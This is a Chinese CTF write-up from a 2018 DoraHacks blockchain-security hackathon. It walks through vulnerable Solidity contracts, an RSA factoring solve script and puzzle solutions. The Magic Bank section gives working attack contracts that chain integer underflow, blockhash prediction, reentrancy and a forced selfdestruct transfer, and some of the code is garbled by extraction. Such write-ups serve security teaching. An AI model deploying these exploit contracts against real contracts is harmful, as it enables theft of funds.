DoraHacks区块链安全Hackathon 部分write up by 天枢

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前言

在参加护网杯的同时,天枢有一波区块链大佬小分队去参加了DoraHacks举办的比赛,小伙伴们非常给力的拿下第二名 这里分享一个这个比赛的部分题解另外天枢还有一波小分队去参加了ISCC也取得了第二的好成绩(不说了,我去催他写writeup了...

Sissel大佬说道:

早先就对DoraHacks举办的各种hackathon有所耳闻,一直想来参加感受一次,这次很高兴天枢能够受邀参加本场区块链安全比赛,与诸位师傅共同度过一个知性而优雅的人本次见识到了平时只能在线上看到的诸位大师傅,也有幸享受到了师傅们精心准备的题目,包含了合约审计、漏洞利用、硬件方案、密码学、交易所安全等多个类型,受益的这里给出Q1、4、11、14、15 我们队的解答。

题目wp

Q1 - 测试题

主办方提供了四个合约,需要我们给出漏洞点和修复方案,并对第二个和第四个合约写出攻击合约。

Auction.sol

```
pragma solidity ^0.4.10;
contract Auction {
  address public highestBidder;
  uint256 public highestBid;
  function Auction(uint256 _highestBid) {
      require( highestBid > 0);
      //
      highestBid = _highestBid;
      highestBidder = msg.sender;
  }
  function bid() payable {
      require(msg.value > highestBid);
      //
      highestBidder.transfer(highestBid);
      highestBidder = msq.sender;
      highestBid = msq.value;
  }
   // -----
  function auction_end() {
      // ...
  }
}
```

很典型的King/拍卖合约,问题出在了出现下一个高价者时,上一个人退款时的transfer()。我们可以构造一个攻击合约,他的回调函数是payable,且函数中revert()或throv

BankOwned.sol

```
contract Owned {
  address public owner;
  function Owned() { owner = msg.sender; }
  modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
```

```
contract Bank is Owned {
  address public owner = msg.sender;
  function \ transferOwner(address \ new\_owner) \ public \ onlyOwner \ payable \ \{
       owner = new_owner;
  function withdraw(uint amount) public onlyOwner {
      require(amount <= this.balance);</pre>
      msg.sender.transfer(amount);
  }
}
这里我认为是继承了Owned()函数,出现了问题,solidity的继承原理是代码拷贝,所有人都可以调用Bank里的Owned函数,但我之后并未调通,希望大家指正这里。
MyContacts.sol
pragma solidity ^0.4.0;
contract MyContacts {
      struct PersonInfo {
          address person;
          string phoneNumber;
          string note;
      }
      address private owner;
      mapping(address => PersonInfo) contacts;
      function MyContacts() {
          owner = msg.sender;
      function addContact(address _person, string _phoneNumber, string _note) public {
          PersonInfo info;
          info.person = _person;
          info.phoneNumber = _phoneNumber;
          info.note = _note;
          contacts[msg.sender] = info;
在函数里声明,会覆盖变量。
这里举个启明的文章,方便理解,师傅们在第一天的演讲中也提到了这一点。
pragma solidity 0.4.24;
contract test {
  struct aa{
      uint x;
      uint y;
  uint public a = 4;
  uint public b = 6;
  function test1() returns (uint){
      aa x;
      x.x = 9;
```

x.y = 7;

}

函数test1中定义了一个局部结构体变量x,但是没有对其进行初始化。根据solidity的变量存储规则,这时候x是存储在storage中的,而且是从索引0开始,那么对其成员变影

```
PrivateBank.sol
```

```
pragma solidity ^0.4.15;
contract PrivateBank {
  mapping (address => uint) userBalance;
  function getBalance(address u) constant returns(uint){
      return userBalance[u];
  function addToBalance() payable{
      userBalance[msg.sender] += msg.value;
  function withdrawBalance(){
      if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
           throw;
      userBalance[msq.sender] = 0;
   }
}
```

看名字都猜出来了,肯定是重入漏洞啦msg.sender.call.value(userBalance[msg.sender])(),攻击的话call一下就好了hhh。


```
function () payable public{
  victim.call(bytes4(keccak256("withdrawBalance()")));
```

Q4-游戏逻辑题,找出三个漏洞

这个题最后只有我们天枢给出了主办方满意的回答,已经在赛后分享和大家讨论过了。

也是之前在创宇404的时候,和Lorexxar师傅经常一起审合约,养成的好习惯。很喜欢这道题,出题的师傅说,请大家把它仅仅当作游戏合约来看待,而不是蜜罐之类的hh。

```
pragma solidity ^0.4.0;
 // Bet Game
contract BetGame {
                                                                                                                                                                                    address owner;
                                                                                                                                                                                  //
          mapping(address => uint256) public balanceOf;
          uint256 public cutOffBlockNumber;
                                                                                                                                                                                    // DESCRIPTION OF THE TOTAL CONTROL OF THE TOTAL CO
                                                                                                                                                                                    //
          uint256 public status;
          mapping(address => uint256) public positiveSet; // ■■■■: status == 1
          mapping(address => uint256) public negativeSet; // ■■■■: status == 0
                                                                                                                                                                                   //
          uint256 public positiveBalance;
                                                                                                                                                                                  //
          uint256 public negativeBalance;
          modifier isOwner {
                        assert(owner == msg.sender);
          modifier isRunning {
                        assert(block.number < cutOffBlockNumber);</pre>
          }
          modifier isStop {
                        assert(block.number >= cutOffBlockNumber);
           constructor(uint256 _cutOffBlockNumber) public {
                        owner = msg.sender;
                        balanceOf[owner] = 100000000000;
```

```
cutOffBlockNumber = _cutOffBlockNumber;
  }
  function transfer(address to, uint256 value) public returns (bool success) {
      require(balanceOf[msg.sender] >= value);
      require(balanceOf[to] + value >= balanceOf[to]);
      balanceOf[msg.sender] -= value;
      balanceOf[to] += value;
      return true;
  }
  //
  function bet(uint256 value, bool positive) isRunning public returns(bool success) {
      require(balanceOf[msg.sender] >= value);
      balanceOf[msg.sender] -= value;
      if (positive == true) {
          positiveSet[msg.sender] += value;
          positiveBalance += value;
      } else {
          negativeSet[msg.sender] += value;
          negativeBalance += value;
      }
      bytes32 result = keccak256(abi.encodePacked(blockhash(block.number), msg.sender, block.timestamp));
      uint8 flags = (uint8)(result & 0xFF); //
      if (flags > 128) {
          status = 1;
      } else {
          status = 0;
      return true;
  }
   //
  function withdraw() isStop public returns (bool success){
      uint.256 bet.Balance;
      uint.256 reward;
      if (status == 1) { // positiveSet
          betBalance = positiveSet[msg.sender];
          if (betBalance > 0) {
              balanceOf[msg.sender] += betBalance;
              positiveSet[msg.sender] -= betBalance;
              positiveBalance -= betBalance;
              reward = (betBalance * negativeBalance) / positiveBalance;
              negativeBalance -= reward;
              balanceOf[msg.sender] += reward;
          }
      } else if (status == 0) {
          betBalance = negativeSet[msg.sender];
          if (betBalance > 0) {
              balanceOf[msg.sender] += betBalance;
              negativeSet[msg.sender] -= betBalance;
              negativeBalance -= betBalance;
              reward = (betBalance * positiveBalance) / negativeBalance;
              positiveBalance -= reward;
              balanceOf[msg.sender] += reward;
          }
      return true;
  }
不按审合约正确的套路写了,这里给出我的答案,前三个是师傅的预期解。
随机数分布不均
if (flags > 128) {
  status = 1;
} else {
```

status = 0;

```
发奖金时逻辑有误
negativeSet[msg.sender] -= betBalance;
negativeBalance -= betBalance;
reward = (betBalance * positiveBalance) / negativeBalance;
应该先计算reward,再变动参数,目前这样会导致用户多领款。
游戏时长设计不合理
modifier isRunning {
  assert(block.number < cutOffBlockNumber);</pre>
modifier isStop {
  assert(block.number >= cutOffBlockNumber);
constructor(uint256 _cutOffBlockNumber) public {
  owner = msg.sender;
  balanceOf[owner] = 100000000000;
  cutOffBlockNumber = _cutOffBlockNumber;
我感觉这个算是设计的不好,好在提交的时候提到了构造函数的问题,经师傅锦囊指点,给出了正确解答。这里的设计非常奇怪,我们常见的游戏合约,都是设计游戏时长
require(■■■> 1000 and ■■■<10000);
cutOffBlockNumber = block.number + 
随机数的熵源
虽然没有较完美的随机数生成方案,但这里有个大问题hh
bytes32 result = keccak256(abi.encodePacked(blockhash(block.number), msg.sender, block.timestamp));
区块未生成的情况下,blockhash(block.number)恒为0,借secbit的师傅的话:
  常见不安全的"随机数"计算方法,会读取当前块的前一个块的哈希 block.blockhash(block.number-1)作为随机源。而在合约内执行
  block.blockhash(block.number) 返回值为
  0。我们无法在合约内获得当前区块的哈希,这是因为矿工打包并执行交易时,当前区块哈希尚未被算出。因此,我们可以认为"当前区块"哈希是"未来"的,无法预测。
其他
• solidity版本过低
 上个safemath库,不过这个合约上下溢处理的都ok
Q11 - 密码学RSA
这题是小伙伴HWHong做的,师傅web渗透一把手,密码学也超厉害!
明文:something_for_nothing
思路赛后在群里已经有了,大体是可以看到n2可分解为多个素数,只有一个密文,说明n1是加密用的n,n2是hint。
因为n1, n2高位相同, 假设:
n1 = p1 * q1
• n2 = (p1 + a) * (q1 + b)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from gmpy2 import is_prime as prime
```

正:反 = 129:127

from qmpy2 import iroot

print nn > n

```
t = nn - n
def f1(x, y): return pow(x * y - t, 2) - 4 * n * x * y
def f2(x, y, s): return (t - x * y - s) / (2 * x)
for x in xrange(366, 3000):
 for y in xrange(1, 3000):
    print x, y
    if fl(x, y) >= 0:
       s, b = iroot(fl(x, y), 2)
       if b:
         if prime(f2(x, y, int(s))):
            print "Success"
            print f2(x, y, int(s))
            exit()
之后RSA解密即可
def eqcd(a, b):
 if a == 0:
    return (b, 0, 1)
 else:
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)
def modinv(a, m):
 g, x, y = egcd(a, m)
 if g != 1:
    raise Exception('modular inverse does not exist')
 else:
    return x % m
def bytes_to_num(b):
 return int(b.encode('hex'), 16)
def num_to_bytes(n):
 b = hex(n)[2:-1]
 b = '0' + b if len(b)%2 == 1 else b #16
 return b.decode('hex')
def gcd(a, b):
 if a < b:
    a, b = b, a
 while b != 0:
    temp = a % b
    a = b
    b = temp
 return a
e = 65537
print p*q == n
d = modinv(e,(p-1)*(q-1))
print "d: " + str(d)
m = pow(c,d,p*q)
print "m: " + str(m)
flag = hex(m)
print str(flag)[2:-1].decode('hex')
```

Q14 - puzzle Hello

长亭的晓航师傅技术厉害,出的题好,人还帅,我们队已经全员被圈粉了orz。

这是一道考察与合约交互的基础题。只给了函数声明和合约地址,通过反复交互,获得提示,最后拿到flag,不是很难。我没怎么记住具体过程,不过只要是做合约审计方向我这留了个邮件的记录,大佬们可以参考一下交互方式,其实两个合约可以合并,当时打得有点意识模糊。。

```
pragma solidity ^0.4.19;
contract Attack {
  address public owner;
  address public victim;
  uint256 public num;
  function Attack() payable { owner = msg.sender;
      victim = 0xc95872680072f57485aa0913ded224ee70a9e2cb;
  function sissel() public view returns(uint256)
      uint256 seed = uint256(blockhash(block.number-1));
      uint256 rand = seed / 26959946667150639794667015087019630673637144422540572481103610249216;
      return rand;
   }
}
contract xixi {
  address public owner;
  constructor()public{
      owner = msg.sender;
  function getInfo() public pure returns(string);
  function sendFlag1() public returns(string);
  function getCode() public pure returns(string);
   function game(uint256 guess) public view returns(string);
Q15 - Puzzle Magic Bank
还是晓航师傅出的题,超有趣,我很喜欢这样不是很难,但是考点很多,而且每一步都理所应当的题目。
contract MagicBank {
  mapping(address => uint) public balanceOf;
  mapping(address => uint) public creditOf;
  address owner;
  constructor()public{
      owner = msg.sender;
   }
  function transferBalance(address to, uint amount) public{
      require(balanceOf[msg.sender] - amount >= 0);
      balanceOf[msg.sender] -= amount;
      balanceOf[to] += amount;
  }
  event SendFlag(uint256 flagnum, string b64email);
  function sendFlag3(string b64email) public {
      require(balanceOf[msg.sender] >= 10000);
       emit SendFlag(1, b64email);
  }
   function \ guess Random(uint 256 \ guess) \ internal \ view \ returns(bool) \{
      uint256 seed = uint256(blockhash(block.number-1));
      uint256 rand = seed / 26959946667150639794667015087019630673637144422540572481103610249216;
```

return rand == guess;

function buyCredit(uint256 guess) public {
 require(guessRandom(guess));

require(balanceOf[msg.sender] >= 10000);

}

```
require(creditOf[msg.sender] == 0);
    creditOf[msq.sender] = 1;
    balanceOf[msg.sender] -= 10000;
}
function withdrawCredit(uint amount) public{
    require(creditOf[msg.sender] >= amount);
    msg.sender.call.value(amount*1000000000)();
    creditOf[msq.sender] -= amount;
}
function sendFlag4(string b64email) public {
    require(creditOf[msg.sender] >= 10000);
    emit SendFlag(2, b64email);
}
function getEthBalance() public view returns(uint256){
    return this.balance;
modifier onlyOwner(){
    require(msg.sender == owner);
}
function kill(address t) public onlyOwner {
    selfdestruct(t);
```

这题的流程是这样的:

- 1. 首先随意transferBalance()一下,造成下溢,让balance很大,获得flag3
- 2. 绕过随机数预测,成功调用buyCredit(),购买信用。
- 3. withdrawCredit()中依然存在下溢问题,但是require变严格,需要使用重入攻击,在未更新credit时,多取几次。
- 4. 上面的攻击遇到一个问题,就是目标合约里没有钱。且目标合约的回调函数没有payable,需要创建另一个合约,selfdestruct后,强制给目标合约转账。
- 5. credit下溢后,获得flag4。

攻击合约:

```
contract magic_attack {
  address owner;
  string private email = "OTA3ODg2MDc2QHFxLmNvbQ==";
  address private victim = 0x1180e23d7360fc19cf7c7cd26160763b500b158b;
  uint256 public rand = 0;
  constructor()public{
      owner = msg.sender;
      email = "OTA3ODg2MDc2QHFxLmNvbQ==";
  }
  function step1() public{
      address my_to = 0x1180e23d7360fc19cf7c7cd26160763b500b151c;
      uint256 amount = 0x186a0;
      victim.call(bytes4(keccak256("transferBalance(address,uint256)")),my_to,amount);
  }
  function step2() public{
      uint256 seed = uint256(blockhash(block.number-1));
      rand = seed / 26959946667150639794667015087019630673637144422540572481103610249216;
      victim.call(bytes4(keccak256("buyCredit(uint256)")),rand);
   //
  function step3() public{
      victim.call(bytes4(keccak256("withdrawCredit(uint256)")),1);
  }
  function () payable public{
      victim.call(bytes4(keccak256("withdrawCredit(uint256)")),1);
```

```
function test() public{
    MagicBank mb = MagicBank(victim);
    mb.sendFlag4(email);
}

contract bomb {
    address owner;

    constructor()public{
        owner = msg.sender;
}

function () payable public{}

function end() public{
        selfdestruct(0x1180e23d7360fc19cf7c7cd26160763b500b158b);
}
```

总结

本次比赛天枢获得了第二名的好成绩,与小伙伴们在比赛中的默契配合息息相关的。

让我总结一下区块链安全的要义,我想说:想象力就是武器。面对区块链和智能合约的题目,只有胆大心细多思考,才能想出完整的攻击链。 现实中,合约、节点、共识算法、钱包、交易所等等,无论哪方面薄弱,都会让黑客有着把货币席卷一空的可能。

就像是在赛事最后分享环节我所说,希望大家在工作中胆大心细,注意好系统的细枝末节,作为安全从业人员,才算真正完成了我们的工作。

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1. 3条回复



Sissel 2018-10-15 19:37:08

题目出的很新颖,其他有意思的题目没什么时间看了hhh

0 回复Ta



C0mRaDe 2018-10-15 21:30:00



Sissel 2018-10-18 00:16:51

Q1的第二个合约,经群里小伙伴提醒,是这样的问题hh

owner继承变量覆盖问题。transferOwner修改的是Bank.owner,Owned.owner值不会变,而修饰符onlyOwner继承自Owned,因此检查的是Owned.owner。 0 回复Ta

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